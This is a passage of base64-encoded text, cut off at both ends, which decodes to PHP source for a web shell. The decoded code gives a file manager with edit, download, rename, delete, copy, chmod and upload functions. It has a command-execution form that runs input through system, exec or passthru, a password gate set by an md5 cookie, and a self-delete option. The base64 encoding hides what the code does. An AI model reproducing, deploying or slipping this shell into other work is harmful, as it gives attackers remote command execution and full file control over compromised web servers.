JhY2tdOw0KJGJhY2tkaXJ1bml4eD0kYmFja2RpcnVuaXh4LiRzbGFzaC4kYWRkcjFiYWNra1skY291bnRiYWNrXTsNCn0NCmlmICgkc2xhc2g9PSJcXCIpew0KJGNvdW50YmFjaz1udWxsOw0KJGJhY2tkaXJ3aW49bnVsbDsNCmZvcigkY291bnRiYWNrPTE7JGNvdW50YmFjazxjb3VudCgkYWRkcjFiYWNrayk7JGNvdW50YmFjaysrKXsNCiRiYWNrZGlyd2luPSRiYWNrZGlyd2luLiJcXCIuJGFkZHIxYmFja2tbJGNvdW50YmFja107fQ0KJGJhY2tkaXJ3aW49JGFkZHIxYmFja2tbMF0uJGJhY2tkaXJ3aW47DQokYmFja2FkZHJlc3NzPSRiYWNrZGlyd2luOw0KfWVsc2V7DQokY291bnRiYWNrPW51bGw7DQokYmFja2Rpcndpbj1udWxsOw0KZm9yKCRjb3VudGJhY2s9MTskY291bnRiYWNrPGNvdW50KCRhZGRyMWJhY2trKTskY291bnRiYWNrKyspew0KJGJhY2tkaXJ3aW49JGJhY2tkaXJ3aW4uIi8iLiRhZGRyMWJhY2trWyRjb3VudGJhY2tdO30NCiRiYWNrZGlyd2luPSRhZGRyMWJhY2trWzBdLiRiYWNrZGlyd2luOw0KJGJhY2thZGRyZXNzcz0kYmFja2RpcndpbjsNCiRiYWNrYWRkcmVzc3M9c3RyX3JlcGxhY2UoIlxcIiwiLyIsJGJhY2thZGRyZXNzcyk7DQp9DQpmdW5jdGlvbiBjYWxjX2Rpcl9zaXplKCRwYXRoKQ0Kew0KJHNpemUgPSAwOw0KaWYgKCRoYW5kbGUgPSBvcGVuZGlyKCRwYXRoKSkNCnsNCndoaWxlIChmYWxzZSAhPT0gKCRlbnRyeSA9IHJlYWRkaXIoJGhhbmRsZSkpKQ0Kew0KJGN1cnJlbnRfcGF0aCA9ICRwYXRoIC4gJy8nIC4gJGVudHJ5Ow0KaWYgKCRlbnRyeSAhPSAnLicgJiYgJGVudHJ5ICE9ICcuLicgJiYgIWlzX2xpbmsoJGN1cnJlbnRfcGF0aCkpDQp7DQppZiAoaXNfZmlsZSgkY3VycmVudF9wYXRoKSkNCiRzaXplICs9IGZpbGVzaXplKCRjdXJyZW50X3BhdGgpOw0KZWxzZWlmIChpc19kaXIoJGN1cnJlbnRfcGF0aCkpDQokc2l6ZSA9IGNhbGNfZGlyX3NpemUoJGN1cnJlbnRfcGF0aCk7DQp9DQp9DQp9DQpjbG9zZWRpcigkaGFuZGxlKTsNCnJldHVybiAkc2l6ZTsNCn0gDQpmdW5jdGlvbiBvcGVuZigkcGFyc2VmKXsNCmdsb2JhbCAkYmFzZXAsJHNsYXNoOw0KDQppZihzdHJsZW4oc3RycG9zKGdldGN3ZCgpLCRiYXNlcCkpPj0xKXsNCiRycj1zdHJfcmVwbGFjZSgkYmFzZXAsIiIsZ2V0Y3dkKCkpOw0KJHJyPXN0cl9yZXBsYWNlKCJcXCIsIi8iLCRycik7DQokZGlyb3Blbj0nPGEgaHJlZj0iJy4kcnIuIi8iLiRwYXJzZWYuJyI+Jy4kcGFyc2VmLic8L2E+JzsNCn1lbHNlew0KJGRpcm9wZW49JzxhIGhyZWY9Ij9kbz1lZGl0JmFkZHJlc3M9Jy5nZXRjd2QoKS4kc2xhc2guJyZmaWxlbmFtZT0nLiRwYXJzZWYuJyI+Jy4kcGFyc2VmLic8L2E+JzsNCn0NCnJldHVybiAkZGlyb3BlbjsNCn0NCmlmICgkX0dFVFsnYWRkcmVzcyddKXskaWZnZXQ9JF9HRVRbJ2FkZHJlc3MnXTt9aWYoJF9QT1NUWydhZGRyZXNzJ10peyRpZmdldD0kX1BPU1RbJ2FkZHJlc3MnXTt9DQppZigkY3dkPT0nJyl7JGN3ZD1nZXRjd2QoKTt9JG5vd2FkZHJlc3M9JzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFkZHJlc3MgdmFsdWU9IicuJGN3ZC4nIj4nOw0KJGFkPWdldGN3ZCgpOw0KJGhhbmQ9b3BlbmRpcigiJGFkIik7DQokY29pPTA7DQokY29pMj0wOw0KDQp3aGlsZSAoZmFsc2UgIT09ICgkZmlsZWVlID0gcmVhZGRpcigkaGFuZCkpKSB7DQoNCg0KICAgICAgICBpZiAoJGZpbGVlZSAhPSAiLiIgJiYgJGZpbGVlZSAhPSAiLi4iKSB7DQoJCWlmIChmaWxldHlwZSgkZmlsZWVlKT09ImRpciIpew0KCQlpZiAoJGNvaSAlMil7DQokY29sb3J0PSciI2U3ZTNkZSInOw0KfWVsc2V7DQokY29sb3J0PSciI2U0ZTFkZSInOw0KDQp9DQokY29pKys7DQokZmlsPSRmaWwuJzx0YWJsZSBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHN0eWxlPSJib3JkZXItc3R5bGU6IGRvdHRlZDsgYm9yZGVyLXdpZHRoOiAwcHgiIGJvcmRlcmNvbG9yPSIjQ0RDRENEIiBiZ2NvbG9yPScuJGNvbG9ydC4nIHdpZHRoPSI5NTAiIGhlaWdodD0iMSIgZGlyPSJsdHIiPg0KPHRyIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJG9vLidcJzsiPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9Ijg0MiI+PHAgYWxpZ249ImxlZnQiPjxzcGFuIGxhbmc9ImVuLXVzIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGltZyBzcmM9ImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCwnIC4kcGljZGlyLiAnIiAvPiA8YSBocmVmPSI/YWRkcmVzcz0nLiRjd2QuJHNsYXNoLiRmaWxlZWUuJHNsYXNoLiciPicuJGZpbGVlZS4nPC9iPjwvc3Bhbj48L3RkPg0KPHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iNjUiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij4nLmRhdGUoInkvbS9kIiwgZmlsZWN0aW1lKCRmaWxlZWUpKS4nPC90ZD48dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPicuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRjd2QuJHNsYXNoLiIkZmlsZWVlIikpLCAtMykuJzwvdGQ+PHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iMzAiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48L3RkPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9IjIyIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGEgaHJlZj0iP2RvPWRvd24mdHlwZT1kaXImYWRkcmVzcz0nLiRjd2QuJHNsYXNoLicmZGlybmFtZT0nLiRmaWxlZWUuJyI+REw8L2E+PC90ZD48dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjxhIGhyZWY9Ij9kbz1yZW5hbWUmYWRkcmVzcz0nLiRjd2QuJHNsYXNoLicmZmlsZW5hbWU9Jy4kZmlsZWVlLiciPlJlbjwvYT48L3RkPg0KPHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iMzAiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48YSBocmVmPSI/ZG89ZGVsZXRlJnR5cGU9ZGlyJmFkZHJlc3M9Jy4kY3dkLiRzbGFzaC4nJmZpbGVuYW1lPScuJGZpbGVlZS4nIj5EZWw8L2E+PC90ZD48L3RyPjwvdGFibGU+Jw0KO30NCmVsc2V7DQoNCgkJaWYgKCRjb2kyICUyKXsNCiRjb2xvcnQ9JyIjZTdlM2RlIic7DQp9ZWxzZXsNCiRjb2xvcnQ9JyIjZTRlMWRlIic7DQp9DQoNCiRjb2kyKys7DQokZmlsZT0kZmlsZS4nPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9ImJvcmRlci1zdHlsZTogZG90dGVkOyBib3JkZXItd2lkdGg6IDBweCIgYm9yZGVyY29sb3I9IiNDRENEQ0QiIGJnY29sb3I9Jy4kY29sb3J0Licgd2lkdGg9Ijk1MCIgaGVpZ2h0PSIyMCIgZGlyPSJsdHIiPg0KPHRyIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJG9vLidcJzsiPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9Ijg0MiI+PHAgYWxpZ249ImxlZnQiPjxzcGFuIGxhbmc9ImVuLXVzIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGltZyBzcmM9ImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCwnIC4kcGljZmlsZS4gJyIgLz4gJy5vcGVuZigkZmlsZWVlKS4nPC9zcGFuPjwvdGQ+DQo8dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSI4MCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPicuc2l6ZWUoZmlsZXNpemUoJGZpbGVlZSkpLic8L3RkPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9IjY1Ij48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+Jy5kYXRlKCJ5L20vZCIsIGZpbGVjdGltZSgkZmlsZWVlKSkuJzwvdGQ+PHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iMzAiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij4nLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkY3dkLiRzbGFzaC4iJGZpbGVlZSIpKSwgLTMpLic8L3RkPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9IjMwIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGEgaHJlZj0iP2RvPWVkaXQmYWRkcmVzcz0nLiRjd2QuJHNsYXNoLicmZmlsZW5hbWU9Jy4kZmlsZWVlLiciPkVkaXQ8L2E+PC90ZD48dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIyMyI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjxhIGhyZWY9Ij9kbz1kb3duJnR5cGU9ZmlsZSZhZGRyZXNzPScuJGN3ZC4kc2xhc2guJyZmaWxlbmFtZT0nLiRmaWxlZWUuJyI+REw8L2E+PC90ZD48dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjxhIGhyZWY9Ij9kbz1yZW5hbWUmYWRkcmVzcz0nLiRjd2QuJHNsYXNoLicmZmlsZW5hbWU9Jy4kZmlsZWVlLiciPlJlbjwvYT48L3RkPg0KPHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iMzAiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48YSBocmVmPSI/ZG89ZGVsZXRlJnR5cGU9ZmlsZSZhZGRyZXNzPScuJGN3ZC4kc2xhc2guJyZmaWxlbmFtZT0nLiRmaWxlZWUuJyI+RGVsPC9hPjwvdGQ+PC90cj48L3RhYmxlPicNCjt9DQp9DQp9DQplY2hvICRoZWFkLicNCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogNnB0Ij48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLXN0eWxlOiBkb3R0ZWQ7IGJvcmRlci13aWR0aDogMXB4IiBib3JkZXJjb2xvcj0iI0NEQ0RDRCIgd2lkdGg9Ijk1MCIgaGVpZ2h0PSIyMCIgZGlyPSJsdHIiPg0KPHRyPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9Ijg0MiI+PHAgYWxpZ249ImxlZnQiPjxzcGFuIGxhbmc9ImVuLXVzIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGZvbnQgY29sb3I9IzRhN2FmND5Ob3cgRGlyZWN0b3J5IDogJy5nZXRjd2QoKS4iPGJyPiIucHJpbnRkcml2ZSgpLic8YnI+PGEgaHJlZj0iP2RvPWJhY2smYWRkcmVzcz0nLiRiYWNrYWRkcmVzc3MuJyI+PGZvbnQgY29sb3I9IzAwMDAwMD5CYWNrPC9zcGFuPjwvdGQ+DQo8L3RyPjwvdGFibGU+Jy4kZmlsLiRmaWxlLic8L3RhYmxlPg0KPHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9Ijk1MCIgc3R5bGU9ImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2UiIGlkPSJ0YWJsZTQiIGNlbGxwYWRkaW5nPSI1Ij4NCjx0cj4NCjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPjxicj4nLiRmb3JtZy4nQ29tbWFuZCBFeGVjdXRlIDogPC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hZGRyZXNzIHZhbHVlPScuZ2V0Y3dkKCkuJz48aW5wdXQgbmFtZT1jb21tYW5kIHZhbHVlPWlkIHNpemU9NTA+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZG8gdmFsdWU9Y21kIHNpemU9NTA+IDxzZWxlY3QgbmFtZT1leGVjbWV0aG9kPg0KICA8b3B0aW9uIHZhbHVlPSJzeXN0ZW0iPlN5c3RlbTwvb3B0aW9uPiAgPG9wdGlvbiB2YWx1ZT0iZXhlYyI+RXhlYzwvb3B0aW9uPiAgPG9wdGlvbiB2YWx1ZT0icGFzc3RocnUiPlBhc3N0aHJ1PC9vcHRpb24+DQo8L3NlbGVjdD4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJFeGVjdXRlIj48L2Zvcm0+PC90ZD48L3RyPg0KPHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+PGJyPicuJGZvcm1nLidDaGFuZ2UgRGlyIDogPC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj48aW5wdXQgbmFtZT1hZGRyZXNzIHZhbHVlPScuZ2V0Y3dkKCkuJHNsYXNoLicgc2l6ZT01MD4NCjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1DaGFuZ2U+PC9mb3JtPjwvdGQ+PC90cj4NCjx0cj4NCjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPjxicj4nLiRmb3JtZy4nQ3JlYXRlIERpciA6IDwvZm9udD48L3RkPg0KPHRkIHdpZHRoPSI3NTAiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+PGlucHV0IG5hbWU9Y2Rpcm5hbWUgdmFsdWU9Jy5nZXRjd2QoKS4kc2xhc2guJyBzaXplPTUwPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFkZHJlc3MgdmFsdWU9Jy5nZXRjd2QoKS4nPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICBDcmVhdGUgICI+PC9mb3JtPjwvdGQ+PC90cj4NCjx0cj4NCjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPjxicj4nLiRmb3JtZy4nQ3JlYXRlIEZpbGUgOiA8L2ZvbnQ+PC90ZD4NCjx0ZCB3aWR0aD0iNzUwIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPjxpbnB1dCBuYW1lPWNmaWxlbmFtZSB2YWx1ZT0nLmdldGN3ZCgpLiRzbGFzaC4nIHNpemU9NTA+IDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFkZHJlc3MgdmFsdWU9Jy5nZXRjd2QoKS4nPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICBDcmVhdGUgICI+PC9mb3JtPjwvdGQ+PC90cj4NCjx0cj48L2Zvcm0+DQo8dGQgd2lkdGg9IjIwMCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdDsgZm9udC13ZWlnaHQ6NzAwIj48YnI+Jy4kZm9ybWcuJ1VwbG9hZCA6IDwvZm9udD48L3RkPg0KPHRkIHdpZHRoPSI3NTAiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+PGZvcm0gYWN0aW9uPSInLiRtZS4nIiBtZXRob2Q9cG9zdCBlbmN0eXBlPW11bHRpcGFydC9mb3JtLWRhdGE+Jy4kbm93YWRkcmVzcy4nDQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQiPjxpbnB1dCBzaXplPTQwIHR5cGU9ZmlsZSBuYW1lPWZpbGVlID4gPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWRkcmVzcyB2YWx1ZT0nLmdldGN3ZCgpLic+DQo8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9VXBsb2FkIC8+PC9mb3JtPjwvdGQ+PC90cj4NCjx0cj4NCjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPjxicj4nLiRmb3JtZy4nQ29weSBGaWxlIDogPC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj48aW5wdXQgc2l6ZT0yMCBuYW1lPWNvcHluYW1lPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFkZHJlc3MgdmFsdWU9IicuZ2V0Y3dkKCkuJyI+IFRvIDxpbnB1dCBzaXplPTQwIG5hbWU9Y3B5dG8gdmFsdWU9IicuZ2V0Y3dkKCkuJHNsYXNoLiciPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPUNvcHk+PC9mb3JtPjwvdGQ+PC90cj4NCicuJGVuZDsNCj8++PGZvcm0gbWV0aG9kPXBvc3Q+UGFzc3dvcmQ6IDxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cGFzcz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC9wcmU+Iik7DQp9DQoNCmZ1bmN0aW9uIEdHc2V0Y29va2llKCRrLCAkdikgew0KICAgICRfQ09PS0lFWyRrXSA9ICR2Ow0KICAgIHNldGNvb2tpZSgkaywgJHYpOw0KfQ0KDQppZighZW1wdHkoJGF1dGhfcGFzcykpIHsNCiAgICBpZihpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgKG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJGF1dGhfcGFzcykpDQogICAgICAgIEdHc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLCAkYXV0aF9wYXNzKTsNCg0KICAgIGlmICghaXNzZXQoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSB8fCAoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICE9ICRhdXRoX3Bhc3MpKQ0KICAgICAgICBHR0xvZ2luKCk7DQp9DQoNCmlmKCRfR0VUWydkbyddPT0icmVtb3ZlIil7DQp1bmxpbmsoZ2V0Y3dkKCkuJF9TRVJWRVJbIlNDUklQVF9OQU1FIl0pOw0KfQ0KJGJhc2VwPSRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107DQppZihzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsIDAsIDMpKSA9PSAid2luIil7DQokc2xhc2g9IlxcIjsNCiRiYXNlcD1zdHJfcmVwbGFjZSgiLyIsIlxcIiwkYmFzZXApOw0KfWVsc2V7DQokc2xhc2g9Ii8iOw0KJGJhc2VwPXN0cl9yZXBsYWNlKCJcXCIsIi8iLCRiYXNlcCk7DQp9DQppZigkX0dFVFsnZG8nXT09InJlbW92ZSIpew0KdW5saW5rKGdldGN3ZCgpLiRzbGFzaC4kX1NFUlZFUlsiU0NSSVBUX05BTUUiXSk7DQp9DQppZiAoJF9SRVFVRVNUWydhZGRyZXNzJ10pew0KaWYoaXNfcmVhZGFibGUoJF9SRVFVRVNUWydhZGRyZXNzJ10pKXsNCmNoZGlyKCRfUkVRVUVTVFsnYWRkcmVzcyddKTt9ZWxzZXsNCmFsZXJ0KCJQZXJtaXNzaW9uIERlbmllZCAhIik7fX0NCiRtZT0kX1NFUlZFUlsnUEhQX1NFTEYnXTsNCiRmb3JtcD0iPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSciLiRtZS4iJz4iOw0KJGZvcm1nPSI8Zm9ybSBtZXRob2Q9Z2V0IGFjdGlvbj0nIi4kbWUuIic+IjsNCiRub3dhZGRyZXNzPSc8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hZGRyZXNzIHZhbHVlPSInLmdldGN3ZCgpLiciPic7DQppZiAoaXNzZXQoJF9GSUxFU1siZmlsZWUiXSkgYW5kICEgJF9GSUxFU1siZmlsZWUiXVsiZXJyb3IiXSkgew0KICAgaWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImZpbGVlIl1bInRtcF9uYW1lIl0sICRfRklMRVNbImZpbGVlIl1bIm5hbWUiXSkpew0KICAgYWxlcnQoIkZpbGUgVXBsb2FkIFN1Y2Nlc3NmdWwiKTsNCiAgIH1lbHNlew0KYWxlcnQoIlBlcm1pc3Npb24gRGVuaWVkICEiKTsNCiAgIA0KICAgfQ0KICAgfQ0KaWYoaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSl7DQokZGlzYWJsZWY9aW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsNCn1lbHNlew0KJGRpc2FibGVmPSJBbGwgRnVuY3Rpb25zIEVuYWJsZSI7DQp9DQppZihpbmlfZ2V0KCdzYWZlX21vZGUnKSl7DQokc2FmZV9tb2Rlcz0iT24iOw0KfWVsc2V7DQokc2FmZV9tb2Rlcz0iT2ZmIjsNCn0NCmlmICgkX1JFUVVFU1RbJ2NobW9kZSddICYmICRfUkVRVUVTVFsnY2htb2RlbnVtJ10pew0KaWYgKGNobW9kKCRfUE9TVFsnY2htb2RlJ10sIjAiLiRfUE9TVFsnY2htb2RlbnVtJ10pKXthbGVydCgiQ2htb2QgT2shIik7fWVsc2V7YWxlcnQoIlBlcm1pc3Npb24gRGVuaWVkICEiKTt9DQp9DQokcGljZGlyPSdpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQTBBQUFBTkNBWUFBQUJ5NitSOEFBQUIzMGxFUVZSNDJtTmdnQUF1SUJaQ3dqeEF6TWlBQzRqSXlrclpPTHBsaGNXbHpBdUxTNTBQd2tGUmlUUGwxVFFEQlNRazdPRllSTVNlalkxTkE2aUZpVUZFVWluS3dTL21jVVJXMWY5d0lBN05yUHdmbEZyNjN6b3c3Yk9KZDlJYlE4L0VON3F1Y1crMFhPTGV5SnY1WG1FVFU5UmpVRFYwM0JsWDJQNDNvYXovZjJoTyszK3Y1UHIvRGxFVi84MURpdi9yK2VUK1YzUEwrQy90bHZlZlA2THp2NkJSeUQ4MmNlMUlCbDA3L3pOSkZmMy9FeW9uL1E4djd2dWYwTFBxZjNEdDdQOW1ZV1gvMVlNci9vc2xUZnJQbnpqcHY0aDkybjhCbzdEL3JKSjZlUXlTNW42M1BMSmEvd2NVOWYzM0srejlIOU83K24vVGlSZi83WHAzL09kczN2OWZKR25pZjNIMzdQL0NqcW4vK2F6ai83UElHclF4c0JuN1ArVjJ5ZnpQNDViem45Yzk5NzljWk4zLzFMVVgva3RNdmZpZnRmblFmOEd3K3Y4QzN2bi8rVHh5LzNPN1p2MW5WakNaeDhEcWtQQ1d3Ny8wUHdnTFJ0Yi9kK3ZmL0YrM2ZQWi9qdERhLzB5MU8vNHpWVzc2eng1Yy9SK21obG5GZkJzRG0zZk9aL2JJaHYrY01VMy9wWEltL3hkSzdmNFA0b013VzB6TGY3YkVudi9zMGMxd01TWTk1M01NUW5HMVA1VUtKLzhuRmd2YUJ6OWpZUFRKZk0yYzJQcWZXTXhvR2ZDRmdVRkdLNHBCdzN3aDBWaEN1UlNVa2xpZ2FZOVl6QUlBL1gvM1MxLzVFRU1BQUFBQVNVVk9SSzVDWUlJPSc7DQokcGljZmlsZT0naVZCT1J3MEtHZ29BQ